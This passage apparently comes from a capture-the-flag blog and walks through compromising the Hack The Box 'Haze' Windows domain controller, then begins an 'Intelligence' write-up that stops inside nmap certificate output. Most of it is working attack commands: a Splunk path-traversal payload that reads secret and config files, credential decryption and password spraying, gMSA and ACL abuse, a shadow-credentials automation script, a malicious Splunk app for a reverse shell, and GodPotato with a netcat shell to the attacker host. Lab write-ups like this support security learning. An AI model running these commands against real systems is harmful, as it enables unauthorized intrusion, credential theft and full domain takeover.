64916/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
64917/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
64919/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
64937/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
64951/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
64969/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
65034/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 46282/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 43344/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 26877/udp): CLEAN (Failed to receive data)
|   Check 4 (port 16354/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2025-06-24T21:58:49
|_  start_date: N/A
|_clock-skew: 7h59m55s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 24 19:29:10 2025 -- 1 IP address (1 host up) scanned in 168.71 seconds

as we know we are dealing with windows AD box, let’s add the domain and DC in /etc/hosts file

echo "10.10.11.61 haze.htb dc01.haze.htb" | sudo tee -a /etc/hosts

Enumeration

Port 139,445/SMB

smb port is open and it is looks as the windows box so we first try to find open shares, or null session to shares

smbclient -L //10.10.11.61 -N

then i ran enum4linux but didn’t find anything useful, we just found Domain Name and SID let’s keep this information in our back-pocket

Domain Name: Haze
Domain Sid: S-1-5-21-323145914-28650650-2368316563

nice, let’s move to another service/port

Port 389/LDAP

let’s check if the LDAP allows anonymous binding so we can try to get more information i use ldapsearch for it

ldapsearch -H ldap://10.10.11.61 -x -b "DC=haze,DC=htb"

we need valid credentials for it, let’s check MSRPC

Port 135/MSRPC

we can try to enumerate users, groups using rpcclient if it allows anonymous login and permissions to view the users

rpcclient -U '' -N 10.10.11.61

we logged in successfully, but got error while running - enumdomusers

Splunk - Application, Port 8000,8088,8089

let’s first open the port 8000

then i’ll try to open 8089 port

this leaks the version of the splunk application running on machine quick google search reveals that it is vulnerable to LFI (CVE-2024-36991)

and i found PoC for it → https://github.com/Mr-xn/CVE-2024-36991

/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini

there’s Nuclei template available for this vulnerability as well

https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/http/cves/2024/CVE-2024-36991.yaml

nuclei -t ./CVE-2024-36991.yaml -u http://10.10.11.61:8000

let’s include C:\Windows\System32\drivers\etc\hosts

now i searched for the location where splunk credentials are stored

i found it is stored at Program Files/Splunk/etc/passwd

https://orionx.foregenix.com/blog/pentesting-exploiting-cve-2024-36991-in-splunk-enterprise

we found 2 interesting files - splunk.secret and authentication.conf

after reading a bit i found another interesting configuration file that we can try to get

curl 'http://10.10.11.61:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/authentication.conf'

nice we got the LDAP credentials but the password is encrypted to decrypt we can use https://github.com/HurricaneLabs/splunksecrets, we can install it using pip → pip3 install splunksecrets --break-system-packages

but to decrypt the password we need secret

curl 'http://10.10.11.61:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret'

and save it in secret file and let’s try to decrypt the password

	splunksecrets splunk-legacy-decrypt -S secret

Nice we got the password - Ld@p_Auth_Sp1unk@2k24

now we have a name and password for paul taylor but i need specific username to try login with, to find valid username i’ll be using kerbrute first create users.txt with common username formats

paul.taylor
ptaylor
p.taylor
taylor.p
paul.t
pault
tpaul
t.paul
paul_taylor
administrator

Note: i used the administrator account, as it is always true to find if the output is correct or not

kerbrute userenum --dc 10.10.11.61 -d haze.htb users.txt

i verified this credential with SMB and LDAP using netexec

sudo netexec ldap 10.10.11.61 -u paul.taylor -p Ld@p_Auth_Sp1unk@2k24

what i first do when i got valid credentials!, run the netexec with --uses option to enumerate users on the system

sudo netexec smb 10.10.11.61 -u paul.taylor -p Ld@p_Auth_Sp1unk@2k24 --users

only one user!, hmm, let’s use bloodhound to get clear picture of Domain

bloodhound-python -c all -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb -ns 10.10.11.61

but unfortunately we didn’t find any useful information from it as well, let’s use ldapsearch with credentials and we’ll surely get some useful info

ldapsearch -H ldap://10.10.11.61 -b "DC=haze,DC=htb" -D "paul.taylor@haze.htb" -w 'Ld@p_Auth_Sp1unk@2k24

and save the output to file and while reading the output i found another 2 users which is not seen in bloodhound and netexec

both users’s were member of Remote Management users group to confirm they are valid user’s i used previous format firstname.lastname and added both users to users.txt and run kerbrute again

now as we have other users’s as well we’ll spary password to these usernames

sudo netexec smb 10.10.11.61 -u users.txt -p Ld@p_Auth_Sp1unk@2k24 --continue-on-success

and bingo we got another valid creds, let’s see if the user has winrm access or not

sudo netexec winrm 10.10.11.61 -u Mark.Adams -p Ld@p_Auth_Sp1unk@2k24

It’s Pwned!!

evil-winrm -i 10.10.11.61 -u mark.adams -p Ld@p_Auth_Sp1unk@2k24

still we didn’t get the user.txt yet, let’s continue our enumeration i found that mark.adams is the member of non-default windows group - gMSA_manager

whoami /groups

let’s try to read GMSA (Group managed service Accounts) password via netexec

sudo netexec ldap 10.10.11.61 -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 --gmsa

but it says we don’t have permissions to read

first i’ll check if user really has the permissions to read the gMSA password or not, and it shows that our user has no permissions to read the password as only Domain Admins can read it

Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword

let’s check what permissions do we have on GMSA object (Haze-IT-Backup) account, i used powershell script from - https://blog.netwrix.com/2021/08/25/running-laps-in-the-race-to-security/

below is the powershell script that you can directly use to get permissions on the Haze-IT-Backup Account

##Get the GUID of the extended attribute ms-ds-GroupMSAMembership from Schema
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-ds-GroupMSAMembership)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}

<# **REPLACE DN VARIABLE BELOW**
Declare the samaccountname of the gMSA to search for#>
$target = 'CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb'

##Get distinguished name of all gMSAs objects from the OU
$gMSAs = Get-ADServiceAccount -identity $target

<#Get objects that have specific permissions on the target(s): 
Full Control(GenericAll) 
Write all Properties (WriteProperty where ObjectType = 00000000-0000-0000-0000-000000000000 
#>
Set-Location ad:
foreach ($gmsa in $gMSAs){
(Get-Acl $gmsa.distinguishedname).access | 
Where-Object { (($_.AccessControlType -eq 'Allow') -and ($_.activedirectoryrights -in ('GenericAll') -and $_.inheritancetype -in ('All', 'None')) -or (($_.activedirectoryrights -like '*WriteProperty*') -and ($_.objecttype -eq '00000000-0000-0000-0000-000000000000')))} |
ft ([string]$gmsa.name),identityreference, activedirectoryrights, objecttype, isinherited -autosize 
}
<#Get objects that have specific permissions on the target(s) and specifically the gMSA attribute:
WriteProperty 
#>
Set-Location ad:
foreach ($gmsa in $gMSAs){
(Get-Acl $gmsa.distinguishedname).access | 
Where-Object {(($_.AccessControlType -eq 'Allow') -and (($_.activedirectoryrights -like '*WriteProperty*') -and ($_.objecttype -in $schemaIDGUID.Keys)))} |
ft ([string]$gmsa.name),identityreference, activedirectoryrights, objecttype, isinherited -AutoSize
}

upload powershell script and run it

powershell -ep bypass .\gmsapermissions.ps1

and we found that gMSA_Managers has the write permissions over the Haze-IT-Backup let’s edit property PrincipalsAllowedToRetrieveManagedPassword and add our user to it so we can possibly read the GMSA password

Set-ADServiceAccount -Identity "CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb" -PrincipalsAllowedToRetrieveManagedPassword mark.adams

after running this command we can check if we got the permission to read password

Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword

and now if we try to read the password we can get the NTLM hash of the Haze-IT-Backup account

sudo netexec ldap 10.10.11.61 -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 --gmsa

now as i didn’t get much information from bloodhound when i ran it from my kali so i ran BloodHound.exe from the machine itself and got the information that we needed further

i found that Haze-IT-Backup is writeOwner of the group Support_Services group, and the support_services has forcechangepassword and AddKeyCredentials permissions over the edward martin user, so looks like shadow credential attack

let’s add Haze-IT-Backup$ as owner to the support_service group

impacket-owneredit -action write -new-owner 'Haze-IT-Backup$' -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'haze.htb'/'Haze-IT-Backup$' -dc-ip 10.10.11.61 -hashes 4de830d1d58c14e241aff55f82ecdba1:4de830d1d58c14e241aff55f82ecdba1

Now let’s give the WriteMembers permission to Haze-IT-Backup$ so we can add users to it and then we’ll add ourself as the user to the group

dacledit.py -action 'write' -rights 'WriteMembers' -principal 'Haze-IT-Backup$' -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'haze.htb'/'Haze-IT-Backup$' -hashes :4de830d1d58c14e241aff55f82ecdba1

now we add ourself to support_services group

bloodyAD --host 10.10.11.61 -d "haze.htb" -u "Haze-IT-Backup$" -p ":4de830d1d58c14e241aff55f82ecdba1" -f rc4 add groupMember 'SUPPORT_SERVICES' 'Haze-IT-Backup$'

first List all the current KeyCredential IDs and their creation times associated with the DC$ object.

pywhisker -d haze.htb -u "Haze-IT-Backup$" -H 4de830d1d58c14e241aff55f82ecdba1 --target "edward.martin" --action "list"

PyWhishker add functionality, will generates a public-private key pair and adds a new key credential to the target object

pywhisker -d "haze.htb" -u "Haze-IT-Backup$" -H "4de830d1d58c14e241aff55f82ecdba1" --target "edward.martin" --action "add" --filename edward

it will generate pfx file

now we gain run list command to list the credentials associated with the user

pywhisker -d haze.htb -u "Haze-IT-Backup$" -H 4de830d1d58c14e241aff55f82ecdba1 --target "edward.martin" --action "list"

now we request TGT for the edward.martin user

python ~/offsec/tools/PKINITtools/gettgtpkinit.py -cert-pfx "$(pwd)/edward.pfx" -pfx-pass RqwFHvBA9ZTh2dvaiOsw haze.htb/edward.martin out.ccache

note this key, as we need this key while request for NT hash

now we export our TGT and request for NT hash

export KRB5CCNAME=/home/kali/hackthebox/haze/out.ccache

request the NThash for the edward.martin user

python ~/offsec/tools/PKINITtools/getnthash.py -key 40e05596335597bd372b1ad73916c3d21586137ea2affb932fcbff53009a5a75haze.htb/edward.martin

Nice we got the NT hash of the edward.martin user

Another way - certipy-ad

certipy-ad has shadow auto mode that wi’ll automate all this stuff, first need to change the ownership, give yourself add member permission, and yourself to support_services group and run certipy-ad

certipy-ad shadow auto -u Haze-IT-Backup$ -hashes :4de830d1d58c14e241aff55f82ecdba1 -account edward.martin -dc-ip 10.10.11.61

Note: The machine itself resetting privileges, so we need to do this fast i’ve created bash script that makes it automate

#!/bin/bash

echo -e "Changing ownership of Support-Services group..\n"
impacket-owneredit -action write -new-owner 'Haze-IT-Backup$' -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'haze.htb'/'Haze-IT-Backup$' -dc-ip 10.10.11.61 -hashes :4de830d1d58c14e241aff55f82ecdba1

echo -e "giving Add members permissions to Haze-IT-Backup User...\n"
dacledit.py -action 'write' -rights 'WriteMembers' -principal 'Haze-IT-Backup$' -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'haze.htb'/'Haze-IT-Backup$' -hashes :4de830d1d58c14e241aff55f82ecdba1

echo -e "adding user into support_services group...\n"
bloodyAD --host 10.10.11.61 -d "haze.htb" -u "Haze-IT-Backup$" -p ":4de830d1d58c14e241aff55f82ecdba1" -f rc4 add groupMember 'SUPPORT_SERVICES' 'Haze-IT-Backup$'

echo -e "getting membership of the support_services group..\n"
bloodyAD --host 10.10.11.61 -d "haze.htb" -u "Haze-IT-Backup$" -p ":4de830d1d58c14e241aff55f82ecdba1" -f rc4 get membership 'Haze-IT-Backup$'

echo -e "checking the members of support_services group..\n"
net rpc group members "support_services" -U "haze.htb"/"mark.adams"%"Ld@p_Auth_Sp1unk@2k24" -S 10.10.11.61

echo -e "performing shadow credential attack\n"
certipy-ad shadow auto -u Haze-IT-Backup$ -hashes :4de830d1d58c14e241aff55f82ecdba1 -account edward.martin -dc-ip 10.10.11.61

let’s check this credentials

sudo netexec winrm 10.10.11.61 -u edward.martin -H 09e0b3eeb2e7a6b0d419e9ff8f4d91af

let’s login as edward.martin

evil-winrm -i 10.10.11.61 -u edward.martin -H 09e0b3eeb2e7a6b0d419e9ff8f4d91af

nice we got user.txt

let’s start our enumeration to get admin access

also i found our user is member of backup_reviewers

whoami /groups

let’s see the access controls of the C:\Backups folder

we can see that we do have access to the backups folder

i found splunk backup inside it

download it using - download splunk_backup_2024-08-06.zip

after unzipping file i found the administrator’s password inside it

to decrypt the hash we need $7$ hash, let’s try to find it in this splunk directory

grep -irF '$7$'

found 2 -3 hash but not decryptable

reading the https://github.com/HurricaneLabs/splunksecrets docs i found that there’s another algorithm $1$ that might be crackable let’s search that as well

grep -irF '$1$'

nice, let’s try to decrypt this

splunksecrets splunk-decrypt -S splunk.secret

we got the password for splunk admin - Sp1unkadmin@2k24

and found that alexander.green is the memebr of Splunk_admin possibly it’s the alexander’s password

as we can see the user is not member of remote management users so we can not login using evil-winrm, let’s check if these are valid credentials for the splunk enterprise or not

i found https://github.com/0xjpuff/reverse_shell_splunk here we need to edit run.ps1 to add our kali machine’s IP and port

then

tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk
mv reverse_shell_splunk.tgz reverse_shell_splunk.spl

start netcaat listener, now go to Apps > Manage > Install > Click on Install app from file select spl file and install and we’ll get the shell

running whoami /priv we found that user has SeImpersonatePrivilege

i’ll use godpotato with nc.exe to get shell first i’ll download both in target machine

iwr -uri http://10.10.14.12/nc64.exe -outfile nc.exe
iwr -uri http://10.10.14.12/GodPotato-NET4.exe -outfile godpotato.exe

now start listener on port 443 and run godpotato to get shell using nc.exe

.\godpotato.exe -cmd "C:\temp\nc.exe 10.10.14.12 443 -e cmd"

we can see the process is started as NT AUTHORITY\SYSTEM

Intelligence

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Intelligence
OS Type:: Windows
Difficulty: Medium

we need to add Domain and machines’s DNS name to /etc/hosts file

echo "10.10.11.248 intelligence.htb dc.intelligence.htb" | sudo tee -a /etc/hosts

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Tue Jul  8 04:42:29 2025 as: /usr/lib/nmap/nmap -sVC --open -p- -oN initial/nmap.out -vv 10.10.10.248
Nmap scan report for 10.10.10.248
Host is up, received echo-reply ttl 127 (0.24s latency).
Scanned at 2025-07-08 04:42:36 IST for 669s
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Intelligence
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-07-07 23:22:11Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after:  2022-04-19T00:43:16
| MD5:   7767:9533:67fb:d65d:6065:dff7:7ad8:3e88
| SHA-1: 1555:29d9:fef8:1aec:41b7:dab2:84d7:0f9d:30c7:bde7
| -----BEGIN CERTIFICATE-----
| MIIF+zCCBOOgAwIBAgITcQAAAALMnIRQzlB+HAAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBQMRMwEQYKCZImiZPyLGQBGRYDaHRiMRwwGgYKCZImiZPyLGQBGRYMaW50ZWxs
| aWdlbmNlMRswGQYDVQQDExJpbnRlbGxpZ2VuY2UtREMtQ0EwHhcNMjEwNDE5MDA0
| MzE2WhcNMjIwNDE5MDA0MzE2WjAeMRwwGgYDVQQDExNkYy5pbnRlbGxpZ2VuY2Uu
| aHRiMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwCX8Wz5Z7/hs1L9f
| F3QgoOIpTaMp7gi+vxcj8ICORH+ujWj+tNbuU0JZNsviRPyB9bRxkx7dIT8kF8+8
| u+ED4K38l8ucL9cv14jh1xrf9cfPd/CQAd6+AO6qX9olVNnLwExSdkz/ysJ0F5FU
| xk+l60z1ncIfkGVxRsXSqaPyimMaq1E8GvHT70hNc6RwhyDUIYXS6TgKEJ5wwyPs
| s0VFlsvZ19fOUyKyq9XdyziyKB4wYIiVyptRDvst1rJS6mt6LaANomy5x3ZXxTf7
| RQOJaiUA9fjiV4TTVauiAf9Vt0DSgCPFoRL2oPbvrN4WUluv/PrVpNBeuN3Akks6
| cmxzKQIDAQABo4IC/jCCAvowLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBD
| AG8AbgB0AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcD
| ATAOBgNVHQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgIC
| AIAwDgYIKoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJ
| YIZIAWUDBAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNV
| HQ4EFgQUCA00YNMscsMLHdNQNIASzc940RUwHwYDVR0jBBgwFoAUo2aX3GwKIqdG
| sKQv+8oXL8nKl8swgdAGA1UdHwSByDCBxTCBwqCBv6CBvIaBuWxkYXA6Ly8vQ049
| aW50ZWxsaWdlbmNlLURDLUNBLENOPWRjLENOPUNEUCxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWludGVs
| bGlnZW5jZSxEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29i
| amVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHJBggrBgEFBQcBAQSBvDCB
| uTCBtgYIKwYBBQUHMAKGgalsZGFwOi8vL0NOPWludGVsbGlnZW5jZS1EQy1DQSxD
| Tj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049
| Q29uZmlndXJhdGlvbixEQz1pbnRlbGxpZ2VuY2UsREM9aHRiP2NBQ2VydGlmaWNh
| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD8GA1Ud
| EQQ4MDagHwYJKwYBBAGCNxkBoBIEEIHijfJ5/cVAp3sSUrgFUO2CE2RjLmludGVs
| bGlnZW5jZS5odGIwDQYJKoZIhvcNAQELBQADggEBAAe43GWMvptRljuuQyFyo+AG
| c/CL8gNCVGvmkRfXyqK+vb2DBWTQ6uUjl+8hA3WuROBFUkwea5gOByKZdTPQrdou
| mVEeAf96bVQ+7/03O3Sz+0jCVTUbAJGnXNnMLStfx6TiMBqfDqsCcWRf2yScX9J4
| 1ilJEh2sEXnps/RYH+N/j7QojPZDvUeM7ZMefR5IFAcnYNZb6TfAPnnpNgdhgsYN
| 2urpaMc2At5qjf6pwyKYLxjBit1jcX6TmEgB/uaE/L9Py2mqyC7p1r40V1FxSGbE
| z4fcj1sme6//eFq7SKNiYe5dEh4SZPB/5wkztD1yt5A6AWaM+naj/0d8K0tcxSY=
|_-----END CERTIFICATE-----
|_ssl-date: 2025-07-07T23:23:43+00:00; 0s from scanner time.
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-07T23:23:42+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after:  2022-04-19T00:43:16
| MD5:   7767:9533:67fb:d65d:6065:dff7:7ad8:3e88
| SHA-1: 1555:29d9:fef8:1aec:41b7:dab2:84d7:0f9d:30c7:bde7
| -----BEGIN CERTIFICATE-----
| MIIF+zCCBOOgAwIBAgITcQAAAALMnIRQzlB+HAAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBQMRMwEQYKCZImiZPyLGQBGRYDaHRiMRwwGgYKCZImiZPyLGQBGRYMaW50ZWxs
| aWdlbmNlMRswGQYDVQQDExJpbnRlbGxpZ2VuY2UtREMtQ0EwHhcNMjEwNDE5MDA0
| MzE2WhcNMjIwNDE5MDA0MzE2WjAeMRwwGgYDVQQDExNkYy5pbnRlbGxpZ2VuY2Uu
| aHRiMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwCX8Wz5Z7/hs1L9f
| F3QgoOIpTaMp7gi+vxcj8ICORH+ujWj+tNbuU0JZNsviRPyB9bRxkx7dIT8kF8+8
| u+ED4K38l8ucL9cv14jh1xrf9cfPd/CQAd6+AO6qX9olVNnLwExSdkz/ysJ0F5FU
| xk+l60z1ncIfkGVxRsXSqaPyimMaq1E8GvHT70hNc6RwhyDUIYXS6TgKEJ5wwyPs
| s0VFlsvZ19fOUyKyq9XdyziyKB4wYIiVyptRDvst1rJS6mt6LaANomy5x3ZXxTf7
| RQOJaiUA9fjiV4TTVauiAf9Vt0DSgCPFoRL2oPbvrN4WUluv/PrVpNBeuN3Akks6
| cmxzKQIDAQABo4IC/jCCAvowLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBD
| AG8AbgB0AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcD
| ATAOBgNVHQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgIC
| AIAwDgYIKoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJ
| YIZIAWUDBAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNV
| HQ4EFgQUCA00YNMscsMLHdNQNIASzc940RUwHwYDVR0jBBgwFoAUo2aX3GwKIqdG
| sKQv+8oXL8nKl8swgdAGA1UdHwSByDCBxTCBwqCBv6CBvIaBuWxkYXA6Ly8vQ049
| aW50ZWxsaWdlbmNlLURDLUNBLENOPWRjLENOPUNEUCxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWludGVs
| bGlnZW5jZSxEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29i
| amVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHJBggrBgEFBQcBAQSBvDCB
| uTCBtgYIKwYBBQUHMAKGgalsZGFwOi8vL0NOPWludGVsbGlnZW5jZS1EQy1DQSxD
| Tj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049
| Q29uZmlndXJhdGlvbixEQz1pbnRlbGxpZ2VuY2UsREM9aHRiP2NBQ2VydGlmaWNh
| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD8GA1Ud
| EQQ4MDagHwYJKwYBBAGCNxkBoBIEEIHijfJ5/cVAp3sSUrgFUO2CE2RjLmludGVs
| bGlnZW5jZS5odGIwDQYJKoZIhvcNAQELBQADggEBAAe43GWMvptRljuuQyFyo+AG
| c/CL8gNCVGvmkRfXyqK+vb2DBWTQ6uUjl+8hA3WuROBFUkwea5gOByKZdTPQrdou
| mVEeAf96bVQ+7/03O3Sz+0jCVTUbAJGnXNnMLStfx6TiMBqfDqsCcWRf2yScX9J4
| 1ilJEh2sEXnps/RYH+N/j7QojPZDvUeM7ZMefR5IFAcnYNZb6TfAPnnpNgdhgsYN
| 2urpaMc2At5qjf6pwyKYLxjBit1jcX6TmEgB/uaE/L9Py2mqyC7p1r40V1FxSGbE
| z4fcj1sme6//eFq7SKNiYe5dEh4SZPB/5wkztD1yt5A6AWaM+naj/0d8K0tcxSY=
|_-----END CERTIFICATE-----
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after:  2022-04-19T00:43:16
| MD5:   7767:9533:67fb:d65d:6065:dff7:7ad8:3e88
| SHA-1: 1555:29d9:fef8:1aec:41b7:dab2:84d7:0f9d:30c7:bde7
| -----BEGIN CERTIFICATE-----
| MIIF+zCCBOOgAwIBAgITcQAAAALMnIRQzlB+HAAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBQMRMwEQYKCZImiZPyLGQBGRYDaHRiMRwwGgYKCZImiZPyLGQBGRYMaW50ZWxs
| aWdlbmNlMRswGQYDVQQDExJpbnRlbGxpZ2VuY2UtREMtQ0EwHhcNMjEwNDE5MDA0
| MzE2WhcNMjIwNDE5MDA0MzE2WjAeMRwwGgYDVQQDExNkYy5pbnRlbGxpZ2VuY2Uu
| aHRiMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwCX8Wz5Z7/hs1L9f
| F3QgoOIpTaMp7gi+vxcj8ICORH+ujWj+tNbuU0JZNsviRPyB9bRxkx7dIT8kF8+8
| u+ED4K38l8ucL9cv14jh1xrf9cfPd/CQAd6+AO6qX9olVNnLwExSdkz/ysJ0F5FU
| xk+l60z1ncIfkGVxRsXSqaPyimMaq1E8GvHT70hNc6RwhyDUIYXS6TgKEJ5wwyPs
| s0VFlsvZ19fOUyKyq9XdyziyKB4wYIiVyptRDvst1rJS6mt6LaANomy5x3ZXxTf7
| RQOJaiUA9fjiV4TTVauiAf9Vt0DSgCPFoRL2oPbvrN4WUluv/PrVpNBeuN3Akks6
| cmxzKQIDAQABo4IC/jCCAvowLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBD
| AG8AbgB0AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcD
| ATAOBgNVHQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgIC
| AIAwDgYIKoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJ
| YIZIAWUDBAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNV
| HQ4EFgQUCA00YNMscsMLHdNQNIASzc940RUwHwYDVR0jBBgwFoAUo2aX3GwKIqdG
| sKQv+8oXL8nKl8swgdAGA1UdHwSByDCBxTCBwqCBv6CBvIaBuWxkYXA6Ly8vQ049
| aW50ZWxsaWdlbmNlLURDLUNBLENOPWRjLENOPUNEUCxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWludGVs
| bGlnZW5jZSxEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29i
| amVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHJBggrBgEFBQcBAQSBvDCB
| uTCBtgYIKwYBBQUHMAKGgalsZGFwOi8vL0NOPWludGVsbGlnZW5jZS1EQy1DQSxD
| Tj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049
| Q29uZmlndXJhdGlvbixEQz1pbnRlbGxpZ2VuY2UsREM9aHRiP2NBQ2VydGlmaWNh
